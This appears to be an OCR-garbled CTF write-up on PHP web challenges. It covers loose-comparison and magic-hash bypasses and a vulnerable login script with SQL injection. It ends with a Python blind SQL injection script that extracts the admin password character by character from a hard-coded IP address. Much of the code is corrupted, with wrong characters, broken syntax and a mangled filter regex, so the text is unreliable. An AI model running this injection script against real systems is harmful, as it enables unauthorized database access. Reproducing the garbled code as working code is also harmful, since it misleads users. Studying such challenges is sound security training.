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{!-— if (isset($ _GET Username’]) && isset($ GET[ password’])) {
Slogined = true;
SUsername = § GET[ Username’];
Spassword = § GET[ password’];

if (letype_alpha($Username)) {$logined = false;}
if (!is_numeric ($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}

if ($logined) {

echo “successful”;
}oelse {

echo “login failed!”;

1 <?php

2 var_dump(md5('240610708') == md5('QNKCDZ0')); //bool(true)

3 var_dump(md5( 'aabg7XSs') == md5('aabC9RqS"')); //bool(true)

4 var_dump(shal('aaroZmOk') == shal('aaK1STfY')); //bool(true)
5 var_dump(shal('aa08zKZF') == shal('aa30FF9m')); //bool(true)
6 var_dump('0010e2' == 'le3'); //bool(true)

7 var_dump('@x1234Ab' == '1193131"'); //bool(true)

8 var_dump('@xABCdef' == ' OxABCdef'); //bool(true)
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Username: | |

Password: | |

Submit

successful Next
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(I— if (isset($ _POST[ message’])) {
Smessage = json decode ($ POST[ message’]);
Skoy = ¥k
if ($message—>key == $key) {

echo “flag”:

\\\\\\

<?php

var_dump("admin"==0); //bool(true)

var_dump("0e123"==0); //bool(true)

var_dump("4test"==4); //bool(true)

?>
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1 <?php

2

3 include("config.php");

4

5 $conn ->query("set names utf8");

6

7 function randStr($lenth=32){

8 $strBase = "1234567890QWERTYUIOPASDFGHIKLZXCVBNMgwertyuiopasdfghjklzxcvbnm";
9 $str = "";
10 while($lenth>0){
11 $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
12 $lenth --;
13 }
14 return $str;
15 }

16

17 if($install){

18 $sql = "create table “user’ (

19 “id® int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
20 “username” varchar(30) NOT NULL,

21 “passwd” varchar(32) NOT NULL,

22 “role’ varchar(30) NOT NULL

23 )JENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latinl COLLATE=latinl_general_ci ";
24 if($conn->query($sql)){

25 $sql = "insert into “user’ (“username’, passwd , role’) values
(*admin', '".md5(randStr()).""', ‘admin')";

26 $conn -> query($sql);

27 }

28 }

29

30 function filter($str){
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51 pTiltEr = /7 |\"|#|;|,|1S|union|llKke|regexp|Torjandjor|riie|--

INI]"|&|".urldecode('%@9"')."|".urldecode("%0a")."|".urldecode("%@b")."|".urldecode('%0c"')."|".urldecode( " %0d
")."|".urldecode('%a@"')."/i";

32 if(preg_match($filter,$str)){

33 die("you can't input this illegal char!");

34 }

35 return $str;

36

37 }

38

39

49 function show($username)q{
41  global $conn;

42  $sql = "select role from “user’ where username ='".$username."'";
43  $res = $conn ->query($sql);

44  if($res->num_rows>0){

45

46 echo "$username is ".$res->fetch_assoc()['role'];
47 }else{

48 die("Don't have this user!");

49}

50 }

51

52 function login($username,$passwd){

53 global $conn;

54 global $flag;

55

56 $username = trim(strtolower($username));

57 $passwd = trim(strtolower($passwd));

58 if($username == 'admin'){

59 die("you can't login this as admin!");

60 }

61

62 $sql = "select * from “user’ where username='".$conn->escape_string($username)."' and
passwd="".$conn->escape_string($passwd).""'";

63 $res = $conn ->query($sql);

64 if($res->num_rows>0){

65 if($res->fetch_assoc()['role'] === 'admin') exit($flag);
66 }else{

67 echo "sorry,username or passwd error!";

68 }

69

70 }

71

72 function source(){

73

74 highlight_file(__FILE_ );

75 }

76

77 $username = isset($_POST['username'])?filter($_POST['username']):"";
78 $passwd = isset($_POST[ 'passwd'])?filter($_POST['passwd']):"";

79

80 $action = isset($_GET['action'])?filter($_GET['action']):"source";
81

82 switch($action){

83 case "source": source(); break ;

84 case "login" : login($username,$passwd);break;

85 case "show" : show($username);break;

86 }
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#coding=utf-8
import requests
url="http://117.34.111.15:89/index.php?action=show’
string="abcdef0123456789"
flag=""
for length in range(1,33):

for x in string:
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s=requests.session()

9 payload={"username":"username'=(select(1)from(user)where(mid((passwd)from(%d))="%s%s"'))=
(33-1length,x,flag)}

10 if 'admin' in s.post(url,data=payload).content:

11 flag=x+flag

12 print 33-length,flag
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